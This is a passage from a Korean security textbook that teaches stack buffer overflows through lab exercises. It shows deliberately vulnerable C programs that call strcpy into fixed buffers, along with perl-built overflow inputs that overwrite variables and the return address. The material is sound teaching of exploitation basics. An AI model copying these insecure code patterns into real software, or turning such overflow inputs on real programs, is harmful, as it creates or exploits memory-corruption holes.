또다시재미있는실습시간이돌아왔습니다. 앞서우리는 return address 를변조하면프로그램의실행흐름을원하는메모리주소로바꿀수있다는사실을배웠습니다. 이처럼 return address 를변조하여다른주소로이동하는것을흔히 뛴다 라고표현하기도하는데요, 앞으로우리는 과연어디로뛸지 에대한고민을하게될것입니다. 그런데어디론가뛰려면우선 return address 를마음대로바꿀수있는스킬이요구됩니다. 적당한주소를찾았다고해도그값을메모리에입력하는방법을모르면소용없기때문입니다. 무엇이든기초가튼튼해야강해지는법! 이번시간엔메모리값을원하는대로바꾸는훈련을해보겠습니다. 트레이닝코스에오신것을환영합니다. 오늘여러분은어떤메모리값을제가지정하는다른값으로변조하는훈련을받게될것입니다. 첫번째훈련은버퍼오버플로우를통하여 4 바이트문자열변수 의값을변조하는것입니다. 이훈련에사용되는소스코드는다음과같습니다. 109
#include dumpcode.h./12/ex1.c int main(int argc, char *argv[]) { char target[4] = DOG ; char buffer[20] = {0, }; // 0 으로초기화 if(argc < 2) { printf( argument error\n ); exit(-1); } // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] BEFORE : the value of target is %s\n\n, target); // 첫번째인자로전달된문자열을 buffer 로복사 // 여기서 buffer overflow 발생! strcpy(buffer, argv[1]); // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] AFTER : the value of target is %s\n, target); } 위소스코드의위치는./12/ex1.c 입니다. 컴파일후실행을해봅시다. 110
./ex1 abc 0xbffffb20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb30 00 00 00 00 44 4f 47 00...DOG. [*] BEFORE : the value of target is DOG 0xbffffb20 61 62 63 00 00 00 00 00 00 00 00 00 00 00 00 00 abc... 0xbffffb30 00 00 00 00 44 4f 47 00...DOG. [*] AFTER : the value of target is DOG * 마찬가지로주소값은실행환경에따라달라질수있습니다. 아직은아무런변조도가하지않았기때문에초기값인 DOG 가출력되었습니다. 첫번째훈련은 target 변수에담긴 DOG 라는값을 CAT 으로바꿔보는것입니다. 앞서배운버퍼오버플로우의원리를되새기며문제를풀어보세요. 각자 vmware 이미지를부팅하여직접시도해보시고, 정답은잠시후에알려드리겠습니다.... 정답은,./ex1 AAAAAAAAAAAAAAAAAAAACAT 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 44 4f 47 00...DOG. [*] BEFORE : the value of target is DOG 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 43 41 54 00 AAAACAT. [*] AFTER : the value of target is CAT 입니다. target 변수앞에 buffer 변수가 20 바이트를차지하고있기때문에, 의미없는 A 라는값을 20 바이트를먼저입력한후, 이어서 CAT 을입력한것입니다. 111
[ 개가고양이로변하는마술!!] 첫번째훈련은쉬웠을거라생각합니다. 이제다음훈련입니다. 이번엔문자열이아닌, 4 바이트정수형변수 를다른값으로바꿔보겠습니다. 112
./12/ex2.c #include dumpcode.h int main(int argc, char *argv[]) { int target = 1234; // 이값을바꿀것입니다. char buffer[20] = {0, }; // 0으로초기화 } if(argc < 2) { printf( argument error\n ); exit(-1); } // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] BEFORE : the value of target is %d\n\n, target); // buffer overflow!! strcpy(buffer, argv[1]); // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] AFTER : the value of target is %d\n, target); 마찬가지로컴파일후실행을해봅시다. 113
gcc -o ex2 ex2.c./ex2 abc 0xbffffb20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb30 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb20 61 62 63 00 00 00 00 00 00 00 00 00 00 00 00 00 abc... 0xbffffb30 00 00 00 00 d2 04 00 00... [*] AFTER : the value of target is 1234 이제이 1234 라는값을 5678 로바꿔봅시다. [*] AFTER : the value of target is 5678 이라고출력되면성공한것입니다. 역시각자시도해보시고, 정답은잠시후에알려드리겠습니다. 이번훈련은쉽지않을수도있습니다.... 정답을맞히셨나요? 그렇지못하신분들중엔다음과같이시도하신분들도계실겁니다../ex2 AAAAAAAAAAAAAAAAAAAA5678 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 35 36 37 38 AAAA5678 [*] AFTER : the value of target is 943142453 943142453 이라니? 이상한숫자가나와버렸습니다. 114
왜일까요? 그이유는여러분이입력한 5678 이라는값은 숫자 가아닌 문자 이기때문입니다. 컴퓨터는같은 5 라고해도숫자와문자를엄연히구분합니다. 다음아스키코드표를보시면, 여러분이입력한문자 5678 은각각 16 진수로 0x35, 0x36, 0x37, 0x38 에해당된다는것을알수있습니다. 실제 dumpcode 의결과를봐도 target 변수의값이 35 36 37 38 로바뀐것을알수있습니다.... 0xbffffb20 41 41 41 41 35 36 37 38... AAAA5678 그리고 Little Endian 을사용하는 Intel CPU 에서 4 바이트정수값은반대방향으로저장된다고했기때문에, 메모리에저장된 35 36 37 38 의실제값은 38 37 36 35 입니다. 115
이값을계산기를이용하여 10 진수로바꿔보면.. 앞서봤던 943142453 가됩니다. 이것이바로 943142453 라는이상한숫자가나타난이유입니다. 그럼문자 5678 이아닌, 숫자 5678 를넣으려면어떻게해야할까요? 기본적으로 shell 에서우리가키보드직접명령을내리는것들은모두문자로처리됩니다. 따라서, perl 이나 python 과같은숫자표현이가능한다른프로그램의도움을받아야합니다. 116
다음은각각 perl 과 python 을이용하여 숫자 5 를표현하는방법입니다. [perl] perl -e print \x05 * -e : perl 스크립트를인자로전달 [python] python -c print \x05 * -c : python 스크립트를인자로전달 python 은상관없지만, perl 에서인자를사용할때엔 double quote 와 single quote 의순서에유의하셔야합니다. 이제이를이용하여다시한번 target 의값을 5678 로바꿔봅시다. 어? 근데또다른문제가생겼습니다. perl 이나 python 의실행결과를 ex2 프로그램의인자로전달해야한다는것입니다. 그렇다고이렇게실행할수는없는노릇입니다../ex2 AAAAAAAAAAAAAAAAAAAA perl -e print \x05 이는 perl 을실행하는게아니라 perl... 이라는문자열을인자로넘기는것이기때문입니다. 이럴때요긴하게사용되는쉘의기능은바로 `( 백쿼터혹은백틱 ) 특수문자입니다. ` 는두개의 ` 사이에들어간쉘명령의출력결과를쉘에되돌려주는역할을합니다. 다음예제를보시면딱이해가되실겁니다. 117
echo whoami whoami echo `whoami` student whoami 쉘명령의실행결과인 student 를다시쉘명령의일부로전달한것입니다. 이제이를이용하여문제를해결해보겠습니다../ex2 AAAAAAAAAAAAAAAAAAAA`perl -e print \x05 ` 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 05 00 00 00 AAAA... [*] AFTER : the value of target is 5 어떤가요? 이처럼이번엔문자 5(0x35) 가아닌, 숫자 5(0x5) 가제대로전달되었습니다. 계속해서숫자 5678 을전달해보겠습니다. 우선 10 진수 5678 이 16 진수로는무엇인지계산을해봅시다. 10 진수 5678 은 16 진수로 \x16\x2e 입니다. 마지막으로중요한것은이값을 Little Endian 형태로메모리에넣어야한다는점입니 118
다. 따라서입력값은 \x2e\x16 이되어야합니다../ex2 AAAAAAAAAAAAAAAAAAAA`perl -e print \x2e\x16 ` 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 2e 16 00 00 AAAA... [*] AFTER : the value of target is 5678 짝짝짝 ~ target 값을 5678 로바꾸는것에성공하셨습니다. 좀더완벽히습득하기위해이번엔훌륭한해커를상징하는숫자인 31337(elite->eleet->31337) 으로바꿔보세요.... 정답은, 119
./ex2 AAAAAAAAAAAAAAAAAAAA`perl -e print \x69\x7a ` 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 69 7a 00 00 AAAAiz.. [*] AFTER : the value of target is 31337 입니다. 시간이되신다면직접다른숫자를정한다음에변경하는실습도해보세요. 이제마지막트레이닝코스로넘어가겠습니다. 바로우리에게가장필요한기술인, 4 바이트 return address 를원하는주소로바꾸는훈련입니다! 120
./12/ex3.c #include dumpcode.h int main(int argc, char *argv[]) { char buffer[20] = {0, }; // 0으로초기화 int *pointer_to_ret = (int *)(buffer+24); // ret을출력하기위한포인터변수 if(argc < 2) { printf( argument error\n ); exit(-1); } // dumpcode 로메모리덤프 dumpcode(buffer, 28); printf( [*] BEFORE : the return address is 0x%08x\n\n, *pointer_to_ret); // buffer overflow!! strcpy(buffer, argv[1]); } // dumpcode 로메모리덤프 dumpcode(buffer, 28); printf( [*] AFTER : the return address is 0x%08x\n\n, *pointer_to_ret); 두번째트레이닝을잘소화했다면, 이번것도크게어렵지않을겁니다. 자, 이제 return address 를 0x12345678 로바꿔보십시오.... 정답은, 121
./ex3 AAAAAAAAAAAAAAAAAAAAAAAA`perl -e print \x78\x56\x34\x12 ` 0xbffffb14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb24 00 00 00 00 48 fb ff bf cb 09 03 40...H...@ [*] BEFORE : the return address is 0x400309cb 0xbffffb14 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb24 41 41 41 41 41 41 41 41 78 56 34 12 AAAAAAAAxV4. [*] AFTER : the return address is 0x12345678 Segmentation fault (core dumped) 입니다. Little Endian 에만유의하시면큰문제는없으셨을겁니다. 그리고 return address 가 0x12345678 이라는엉뚱한주소로바뀌었기때문에 Segmentation fault 에러메시지가나타난것을볼수있습니다. 이처럼 Segmetation falut 는 return address 가뭔가엉뚱한주소로바뀌었을때등장하는에러메시지입니다. 실제 Segmentaion fault 에러메시지는메모리주소접근에실패했을때, 즉, 할당되지않는메모리주소이거나, 접근권한 ( 읽기 / 쓰기 / 실행 ) 이충분하지않을때출력됩니다. 마지막으로 return address 를 0xdeadbeef 라는주소로바꿔봅시다. 참고로해커들은 16 진수로표현할수있는문자들을이용하여말장난하는것을좋아하는데요, 0xdeadbeef 란 16 진수로만든 죽은고기 라는뜻입니다.... 정답은, 122
./ex3 AAAAAAAAAAAAAAAAAAAAAAAA`perl -e print \xef\xbe\xad\xde ` 0xbffffb14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb24 00 00 00 00 48 fb ff bf cb 09 03 40...H...@ [*] BEFORE : the return address is 0x400309cb 0xbffffb14 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb24 41 41 41 41 41 41 41 41 ef be ad de AAAAAAAA... [*] AFTER : the return address is 0xdeadbeef Segmentation fault (core dumped) 입니다. 4 바이트 16 진수를거꾸로입력하는것에아직은익숙치않으실겁니다. 제가제시한값들뿐만아니라다양한값들로바꾸는실습을통해완벽히이해해주시기바랍니다. 이렇게해서총세가지상황에대한메모리값변조훈련을해보았습니다. 이제여러분은 return address 를변조하여어디로든지뛸수있는스킬을얻게되셨습니다. 다음시간엔본격적으로 어디로뛸지 에대해생각해보겠습니다. 혹시메모리값변조방법이잘이해가가지않으셨다면, 여러번다시실습을해보시며꼭이해하고넘어가시기바랍니다. 123